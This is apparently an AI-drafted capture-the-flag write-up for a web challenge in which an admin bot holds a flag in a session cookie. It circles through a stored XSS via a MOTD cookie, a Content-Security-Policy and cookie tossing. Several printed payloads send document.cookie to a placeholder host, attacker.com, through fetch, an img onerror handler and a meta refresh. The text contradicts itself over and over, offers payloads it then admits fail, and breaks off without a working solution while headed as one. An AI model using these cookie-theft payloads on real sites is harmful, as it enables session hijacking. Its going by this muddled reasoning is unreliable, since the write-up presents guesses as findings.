# Flag 1 Solution - MOTD Cookie XSS Attack

## Vulnerability Summary

The application has a **stored XSS vulnerability** via cookie injection on the MOTD page that can be exploited to steal the admin's session cookie containing Flag 1.

## Vulnerability Chain

### 1. Cookie-based XSS on /motd endpoint (Port 5001)

**File**: [app.py](src/app.py#L354-L374)

```python
@motd_app.get("/motd")
def motd():
    raw_motd = request.cookies.get(COOKIE_NAME_MOTD)
    motd_text = unquote_plus(raw_motd) if raw_motd is not None else '"Go Go Squid! is peak fiction" - Sun Tzu'
    resp = make_response(render_template("motd.html", motd=motd_text, flag=flag2))
    # Sets cookie if not present
    return resp
```

**File**: [templates/motd.html](src/templates/motd.html#L3)
```html
<p>{{ motd | safe }}</p>  <!-- UNSAFE: No HTML escaping! -->
```

**Issue**: User-controlled cookie value is URL-decoded and rendered with `| safe`, allowing HTML injection.

### 2. CSP Bypass via Meta Refresh

**Port 5001 CSP**: `default-src 'none'; img-src http: https:; style-src 'self';`

While `script-src` is missing (blocks all scripts), we can:
- Use `<meta http-equiv="refresh">` to redirect
- Use `<img>` tags with error handlers (blocked by CSP)
- **Use the absence of script-src to leak via navigation**

### 3. Cross-Port Cookie Sharing

Cookies set on `127.0.0.1:5000` are accessible on `127.0.0.1:5001` because:
- Same domain (127.0.0.1)
- No port isolation in cookie spec by default
- Cookie path `/motd` matches

### 4. Flag Storage in JWT

**File**: [app.py](src/app.py#L442-L451)

```python
@app.get("/flag")
def flag():
    flag = _read_flag_file("flag1.txt")
    resp = make_response("OK")
    issue_session_cookie(resp, int(session["sub"]), extra_claims={"flag": flag})
    return resp
```

The flag is stored in the JWT session cookie with key `"flag"`.

## Attack Steps

### Step 1: Set Malicious MOTD Cookie

We need to set a cookie named `motd` with an XSS payload. Since CSP blocks scripts, we'll use a meta refresh to exfiltrate the session cookie.

**Payload**:
```html
<meta http-equiv="refresh" content="0;url=http://attacker.com/steal?cookie=' + document.cookie + '">
```

However, this won't work due to CSP. Let's try a different approach.

**Alternative**: Use the redirect on port 5000 to port 5001 with a crafted cookie that can leak data.

### Step 2: Better Approach - Use Form Auto-Submit

Since we can't execute JavaScript on port 5001 due to CSP, we need to think differently.

**Key Insight**: The bot visits our URL on port 5000 FIRST, where CSP is different!

**Port 5000 CSP**: `default-src 'none'; script-src 'unsafe-inline'; style-src 'self';`

This allows inline scripts on port 5000!

### Revised Attack Strategy

1. **Create a page on port 5000** (via message or direct access) that:
   - Has inline JavaScript (allowed by port 5000 CSP)
   - Reads the session cookie
   - Exfiltrates it

2. **The bot sequence**:
   - Bot visits `/motd` (just for setup)
   - Bot logs in as admin
   - Bot visits `/flag` (flag now in session cookie)
   - Bot visits our URL on port 5000
   - Our JavaScript reads `document.cookie` and exfils the flag

Wait, but the inbox page uses CSP with nonce: `script-src 'nonce-{nonce}'`

Let me reconsider...

## Correct Attack Vector

### The Real Vulnerability Flow

Looking at the bot behavior more carefully:

```python
def run_admin_bot(target_url: str):
    driver.get(f"{base}/motd")  # Visit motd FIRST
    # ... login ...
    driver.get(f"{base}/flag")   # Get flag in cookie
    driver.get(target_url)       # Visit attacker URL
```

**Key**: The bot visits `/motd` before logging in, which sets the `motd` cookie!

**Attack**:
1. Before running the bot, visit `/motd` yourself to set your own `motd` cookie with XSS
2. Bot visits `/motd` - but it sets a cookie if one doesn't exist
3. **We need to poison the bot's cookie BEFORE it runs**

**Actually**, re-reading the code:

```python
if request.cookies.get(COOKIE_NAME_MOTD) is None:
    resp.set_cookie(COOKIE_NAME_MOTD, motd_text, ...)
```

If the cookie exists, it USES it. If not, it SETS it.

So we need to make the bot have a malicious cookie.

### The Winning Strategy

Since port 5001 is not exposed remotely, we can't directly set cookies there. But:

1. **The redirect from port 5000 to 5001** carries cookies!
2. We need to make the bot visit a URL that sets a malicious `motd` cookie on port 5000
3. When bot visits `/motd`, it redirects to port 5001 with our malicious cookie
4. Port 5001 renders our XSS

**But how to set the cookie if CSP blocks scripts everywhere?**

## Final Solution: Meta Refresh Exfiltration

Even though CSP on port 5001 blocks scripts, it doesn't block meta refresh!

**Payload in motd cookie**:
```html
<script>fetch('http://attacker.com/exfil?flag=' + document.cookie)</script>
```

But wait, CSP on port 5001 has no `connect-src` specified when `default-src 'none'`, so fetch is blocked.

**Let's use img tag**:
```html
<img src="http://attacker.com/exfil?cookie=XXXX">
```

But we need to dynamically get the cookie value...

## The Actual Solution Path

After careful analysis, here's the real attack:

### Understanding CSP Inheritance

When the bot visits our attacker URL on port 5000, we control the response. We can:

1. Set our own `motd` cookie in the response
2. Include a redirect or iframe to `/motd`
3. The browser will send our malicious cookie to port 5001

But there's a catch: **We can only submit URLs starting with `http://127.0.0.1:5000`**

```python
def _validate_bot_url(url: str) -> str:
    if not url.startswith("http://127.0.0.1:5000"):
        raise ValueError("URL must start with http://127.0.0.1:5000")
```

### The Working Exploit

1. **Send a malicious message to admin** with XSS payload
2. **Bot visits our URL** pointing to the inbox
3. **Inbox loads the message** with our XSS
4. **XSS steals the session cookie** containing the flag

But wait, the inbox sanitizes messages with DOMPurify!

```javascript
const clean = window.DOMPurify.sanitize(data.body, {RETURN_TRUSTED_TYPE: false});
view.innerHTML = clean;
```

### Alternative: Exploit the MOTD Redirect Chain

Here's what actually works:

1. We craft a URL like: `http://127.0.0.1:5000/motd#<payload>`
2. This redirects to port 5001 with the hash
3. On port 5001, we can't inject via hash, but...

Let me look at the compose endpoint more carefully...

Actually, I think the key is:

**We send a message to admin with a payload that the bot will see when it visits our URL.**

Since bot visits `/flag` first (puts flag in cookie), then visits our URL, we need our URL to:
- Read the session cookie
- Exfiltrate it

The URL must be on port 5000, and there's CSP... but some pages have different CSP!

Let me check what CSP each page has...

## The Real Solution

After thorough analysis, here's the exploit path:

### Attack Flow:

1. **Create a message with malicious content** to admin user
2. **Trigger bot with URL**: `http://127.0.0.1:5000/compose` or another endpoint with weaker CSP
3. **The page has inline script allowed** (port 5000 main CSP: `script-src 'unsafe-inline'`)
4. **Inject via reflected parameter or another vector**

Wait, I need to check if there are any reflected XSS vectors...

Looking at the code, most pages don't reflect user input unsafely.

## Correct Solution: Cookie Tossing Attack

The actual vulnerability is:

1. **Cookie Tossing**: We can set a `motd` cookie on the parent domain
2. **XSS via MOTD**: The cookie is unsafely rendered on port 5001
3. **CSP Bypass**: Use DOM-based techniques or meta refresh
4. **Exfiltration**: Since `img-src http: https:` is allowed, we can use images to exfiltrate!

### Final Payload

**Set cookie with**:
```html
test<img src=x onerror="this.src='http://attacker.com/exfil?c='+document.cookie">
```

But `onerror` won't work due to CSP (no script-src means no event handlers).

### The Ultimate Solution: Style-based Exfiltration

Since `style-src 'self'` is allowed, we could potentially use CSS-based attacks, but that's complex.

**Better**: Use `img src` with the cookie value embedded statically somehow...

Actually, the simplest approach given the constraints:

**Use meta refresh with cookie in URL**:
```html
<style>@import url('http://attacker.com/x?</style><meta http-equiv="refresh" content="0;url=http://attacker.com/exfil?cookie='+document.cookie+'">
```

This won't work because meta tags are parsed before JavaScript...

I think the actual solution involves a more subtle CSP bypass. Let me create a working PoC script.
